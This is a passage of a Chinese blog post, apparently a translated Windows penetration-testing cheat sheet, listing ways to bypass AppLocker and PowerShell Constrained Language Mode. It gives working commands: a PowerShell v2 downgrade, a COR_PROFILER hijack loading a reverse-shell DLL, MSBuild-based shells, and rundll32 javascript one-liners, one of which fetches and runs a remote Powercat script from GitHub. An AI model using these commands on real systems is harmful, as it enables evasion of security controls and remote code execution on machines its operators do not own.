14 C:\Windows\SysWOW64\FxsTmp
15 C:\Windows\SysWOW64\com\dmp
16 C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
17 C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
```

9.4 降级攻击

code



```
1 Downgrading to PS Version 2 circumvates Constrained Mode
2
3 powershell.exe -version 2
4
5 Verifiy versions with $PSVersionTable
6 Get-Host
```

9.5 AppLocker COR配置文件绕过



```
code
1 set COR_ENABLE_PROFILING=1
2 COR_PROFILER={cf0d821e-299b-5307-a3d8-b283c03916db}
3 set COR_PROFILER_PATH=C:\Users\m0chan\pwn\reverseshell.dll
4 tzsync
5 powershell
6
7 Where .DLL is your payload i/e reverse shell, beacon etc.
```

9.6 MSBuild Powershell / CMD旁路

```
code
1 You can use this if cmd is not disabled but powershell is
2
3 https://github.com/Cn33liz/MSBuildShell/blob/master/MSBuildShell.csproj
4
5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe pshell.csproj
6
7 Also https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c
8
9 MSBuild PSAttack :D :D
```

9.7 PSAttack

```
code
1 #https://github.com/jaredhaight/PSAttack
2
3 Use if Powershell.exe is not available. this does not rely on powershell.exe, but Instead directly cal
```

```
4
5 Has numerous modules prebuilt in and is built in C Sharp / .NET so can be reflectively loaded :)
```

9.8 NoPowerShell

code



```
1 #https://github.com/bitsadmin/nopowershell
2
3 Primarily to be used with Cobalt & Execute Assembly but can also be reflectively loaded from any other
```

9.9 runDLL32绕过

code



```
1 #Reference: https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
2
3 rundll32.exe is a .exe found on all Windows based systems located at C:\Windows\system32\rundll32.exe
4
5 rundll32 shell32.dll,Control_RunDLL payload.dll
6
7 rundll32.exe javascript:"..\mshtml,RunHTMLApplication <HTML Code>
8
9 rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd.exe /c whoami",0)
10
11 rundll32.exe javascript:"..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.Run(\"cmd.exe /c whoami\",0)");
12
13 rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell");h.Run("cmd.exe /c whoami",0)
14
15 rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/0x00000000/0x00000000/master/Powercat.ps1").Run("cmd.exe /c whoami",0)
```



文章作者: [madcoding](#)



文章链接: <https://www.mad-coding.cn/2019/10/11/Windows-Notes/>

版权声明: 本博客所有文章除特别声明外, 均采用 [CC BY-NC-SA 4.0](#) 许可协议。转载请注明来自 [madcoding's blog](#)!

翻译文章

Windows



打赏



评论

NickName

E-Mail

Website(http://)

Please leave your footprints



Submit

No comment yet.

Powered By [Valine](#)
v1.4.14

©2019 - 2020 By madcoding

驱动 Hexo | 主题 Butterfly

Hi, welcome to madcoding's blog

皖ICP备17023740号

